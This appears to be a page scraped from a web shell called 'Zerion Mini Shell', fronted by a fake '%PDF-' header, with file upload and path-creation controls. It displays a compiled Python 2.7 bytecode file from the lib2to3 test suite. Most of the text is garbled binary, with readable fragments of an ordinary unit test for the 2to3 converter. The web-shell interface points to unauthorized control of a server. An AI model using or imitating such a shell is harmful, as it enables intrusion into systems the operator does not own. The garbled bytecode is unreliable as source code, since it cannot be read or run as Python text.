%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/lib2to3/tests/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/lib2to3/tests/test_main.pyo

ó
Pêáac@sôddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ejjejj
eƒdƒZejjedƒZdejfd„ƒYZedkrðej
ƒndS(iÿÿÿÿN(tmaintdataspy2_test_grammar.pytTestMaincBsqeZeejdƒs'd
d„Znd„Zd„Zd„Z	d„Z
d„Zd„Zd„Z
d	„ZRS(tassertNotRegexcCs]ddl}t|dƒs-|j|ƒ}n|j|ƒrY|jd|j|fƒndS(Niÿÿÿÿtsearchsregexp %s MATCHED text %r(trethasattrtcompileRtfailtpattern(tselfttexttregexptmsgR((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pyRs
cCs
d|_dS(N(tNonettemp_dir(R
((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pytsetUpscCs*tjj2|jr&tj|jƒndS(N(tloggingtrootthandlersRtshutiltrmtree(R
((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pyttearDown"s
	cCsmtj}tj}tj}|t_|t_|t_ztjd|ƒSWd|t_|t_|t_XdS(Ns
lib2to3.fixes(tsyststdintstdouttstderrR(R
targst
in_capturetout_captureterr_capturet
save_stdintsave_stdouttsave_stderr((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pytrun_2to3_capture(s								cCstjdƒ}tjƒ}tjdƒ|ƒ}tjƒ}|jdg|||ƒ}|j|dƒ|jƒ}|jd|ƒ|jd|jƒƒdS(Nuprint 'nothing'
print u'über'
tasciit-is-print 'nothing's9WARNING: couldn't encode <stdin>'s diff for your terminal(tStringIOtcodecst	getwriterR"tassertEqualtgetvaluetassertIn(R
tinput_streamtouttout_encterrtrettoutput((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pyttest_unencodable_diff6s	cCsDtjƒ|_tjj|jdƒ|_tjj|jdƒ|_tj|jƒtj|jƒg|_	t
tjj|jdƒdƒjƒ|j	jdƒt
jt|jƒ|j	jtjjtƒƒtjj|jdƒ|_tjj|jdƒ|_t
|jdƒ}|jdƒWdQX|j	jdƒdS(s5Setup a test source tree and output destination tree.tpython2_projecttpython3_projects__init__.pytws
trivial.pys#print 'I need a simple conversion.'N(ttempfiletmkdtempRtostpathtjointpy2_src_dirtpy3_dest_dirtmkdirtsetup_filestopentclosetappendRtcopytPY2_TEST_MODULEtbasenamettrivial_py2_filet
init_py2_filetwrite(R
ttrivial((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pytsetup_test_source_treesBs	%c	s’|jƒtjƒ}tjƒ}d‰|jddˆddd|j|jgtjdƒ||ƒ}|j|dƒ|jƒ}|jd	|ƒ|jd
|j|jf|ƒ|jt‡fd†|j	Dƒƒtt
j|jƒƒƒxS|j	D]H}|jdt
jj
|j|ƒt
jj
|j|ˆƒf|ƒqøWtjt
jƒ}|j|d
jd|ƒƒ|j|djd|ƒƒdS(s92to3 a single directory with a new output dir and suffix.tTESTs-ns--add-suffixs--write-unchanged-filess
--no-diffss--output-dirtis implies -w.s6Output in %r will mirror the input directory %r layoutc3s|]}|ˆVqdS(N((t.0tname(tsuffix(s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pys	<genexpr>fssWriting converted %s to %ssNo changes to .*/__init__\.pyt/sNo changes to .*/trivial\.pyN(RHR%R"R;R:R(R)R*tsetR=R7tlistdirR8R9RtescapetseptassertRegexpMatchestreplaceR(R
R,R.R/RRLRR((RMs3/usr/local/lib/python2.7/lib2to3/tests/test_main.pyt+test_filename_changing_on_output_single_dirUs4
"	(cCsà|jƒtjƒ}|j|jg}td„|Dƒƒ}|jddddd|jg|tjdƒtjƒ|ƒ}|j|dƒ|jƒ}|j	d	|j|j
f|ƒ|j|ttj|jƒƒƒd
S(s62to3 two files in one directory with a new output dir.css!|]}tjj|ƒVqdS(N(R7R8RC(RKRL((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pys	<genexpr>wss-ns-ws--write-unchanged-filess
--no-diffss--output-dirRJis6Output in %r will mirror the input directory %r layoutN(
RHR%RDREROR"R;R(R)R*R:R7RP(R
R.t	py2_filestexpected_filesR/R((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pyt*test_filename_changing_on_output_two_filesrs
	cCsÏ|jƒtjƒ}|jdddd|j|jgtjdƒtjƒ|ƒ}|j|dƒ|jƒ}|jd|j|jf|ƒ|jt	t
jj|jƒgƒt	t
j
|jƒƒƒdS(	s)2to3 a single file with a new output dir.s-ns-ws
--no-diffss--output-dirRJis6Output in %r will mirror the input directory %r layoutN(RHR%R"R;RDR(R)R*R:ROR7R8RCRP(R
R.R/R((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pyt,test_filename_changing_on_output_single_fileƒs
	!N(t__name__t
__module__RtunittesttTestCaseRRRRR"R1RHRURXRY(((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pyRs							t__main__(RR&RR7RRR%R5R\tlib2to3RR8R9tdirnamet__file__t
TEST_DATA_DIRRBR]RRZ(((s3/usr/local/lib/python2.7/lib2to3/tests/test_main.pyt<module>s!€

Zerion Mini Shell 1.0